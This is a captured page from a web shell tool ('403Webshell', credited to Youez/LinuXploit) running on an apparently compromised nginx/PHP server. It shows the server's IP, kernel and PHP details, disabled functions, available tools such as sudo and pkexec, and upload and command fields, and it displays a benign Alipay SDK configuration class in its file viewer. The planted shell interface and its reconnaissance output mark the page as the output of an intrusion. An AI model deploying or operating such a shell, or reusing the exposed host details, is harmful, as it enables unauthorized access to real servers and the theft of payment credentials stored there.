403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2025_04_20_01-副本/vendor/alipay/aop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2025_04_20_01-副本/vendor/alipay/aop/AlipayConfig.php
<?php
class AlipayConfig {
    /**
     * 网关地址
     * 线上:https://openapi.alipay.com/gateway.do
     * 沙箱:https://openapi.alipaydev.com/gateway.do
     */
    private $serverUrl;

    /**
     * 开放平台上创建的应用的ID
     */
    private $appId;

    /**
     * 报文格式,推荐:json
     */
    private $format = "json";

    /**
     * 字符串编码,推荐:utf-8
     */
    private $charset = "utf-8";

    /**
     * 签名算法类型,推荐:RSA2
     */
    private $signType = "RSA2";

    /**
     * 商户私钥
     */
    private $privateKey;

    /**
     * 支付宝公钥字符串(公钥模式下设置,证书模式下无需设置)
     */
    private $alipayPublicKey;

    /**
     * 商户应用公钥证书路径(证书模式下设置,公钥模式下无需设置)
     */
    private $appCertPath;

    /**
     * 支付宝公钥证书路径(证书模式下设置,公钥模式下无需设置)
     */
    private $alipayPublicCertPath;

    /**
     * 支付宝根证书路径(证书模式下设置,公钥模式下无需设置)
     */
    private $rootCertPath;

    /**
     * 指定商户公钥应用证书内容字符串,该字段与appCertPath只需指定一个,优先以该字段的值为准(证书模式下设置,公钥模式下无需设置)
     */
    private $appCertContent;

    /**
     * 指定支付宝公钥证书内容字符串,该字段与alipayPublicCertPath只需指定一个,优先以该字段的值为准(证书模式下设置,公钥模式下无需设置)
     */
    private $alipayPublicCertContent;

    /**
     * 指定根证书内容字符串,该字段与rootCertPath只需指定一个,优先以该字段的值为准(证书模式下设置,公钥模式下无需设置)
     */
    private $rootCertContent;

    /**
     * 敏感信息对称加密算法类型,推荐:AES
     */
    private $encryptType = "AES";

    /**
     * 敏感信息对称加密算法密钥
     */
    private $encryptKey;

    /**
     * 跳过加验签(小程序云免鉴权)
     */
    private $skipSign = false;


    public function getServerUrl() {
        return $this->serverUrl;
    }

    public function setServerUrl($serverUrl) {
        $this->serverUrl = $serverUrl;
    }
    public function getAppId(){
        return $this->appId;
    }
    public function setAppId($appId){
        $this->appId = $appId;
    }
    public function getFormat(){
        return $this->format;
    }
    public function setFormat($format){
        $this->format = $format;
    }
    public function getCharset() {
        return $this->charset;
    }

    public function setCharset($charset) {
        $this->charset = $charset;
    }

    public function getSignType() {
        return $this->signType;
    }

    public function setSignType($signType) {
        $this->signType = $signType;
    }
    public function getEncryptKey() {
        return $this->encryptKey;
    }

    public function setEncryptKey($encryptKey) {
       $this->encryptKey = $encryptKey;
    }
    public function getEncryptType() {
        return $this->encryptType;
    }
    public function setEncryptType($encryptType) {
        $this->encryptType = $encryptType;
    }
    public function getPrivateKey() {
        return $this->privateKey;
    }

    public function setPrivateKey($privateKey) {
        $this->privateKey = $privateKey;
    }
    public function getAlipayPublicKey() {
        return $this->alipayPublicKey;
    }
    public function setAlipayPublicKey($alipayPublicKey) {
        $this->alipayPublicKey = $alipayPublicKey;
    }
    public function getAppCertPath() {
        return $this->appCertPath;
    }

    public function setAppCertPath($appCertPath) {
        $this->appCertPath = $appCertPath;
    }

    public function getAlipayPublicCertPath() {
        return $this->alipayPublicCertPath;
    }
    public function setAlipayPublicCertPath($alipayPublicCertPath) {
        $this->alipayPublicCertPath = $alipayPublicCertPath;
    }

    public function getRootCertPath() {
        return $this->rootCertPath;
    }
    public function setRootCertPath($rootCertPath) {
        $this->rootCertPath = $rootCertPath;
    }
    public function getAppCertContent() {
        return $this->appCertContent;
    }
    public function setAppCertContent($appCertContent) {
        $this->appCertContent = $appCertContent;
    }
    public function getAlipayPublicCertContent() {
        return $this->alipayPublicCertContent;
    }
    public function setAlipayPublicCertContent($alipayPublicCertContent) {
        $this->alipayPublicCertContent = $alipayPublicCertContent;
    }
    public function getRootCertContent() {
        return $this->rootCertContent;
    }

    public function setRootCertContent($rootCertContent) {
        $this->rootCertContent = $rootCertContent;
    }

    public function isSkipSign()
    {
        return $this->skipSign;
    }

    public function setSkipSign(bool $skipSign)
    {
        $this->skipSign = $skipSign;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit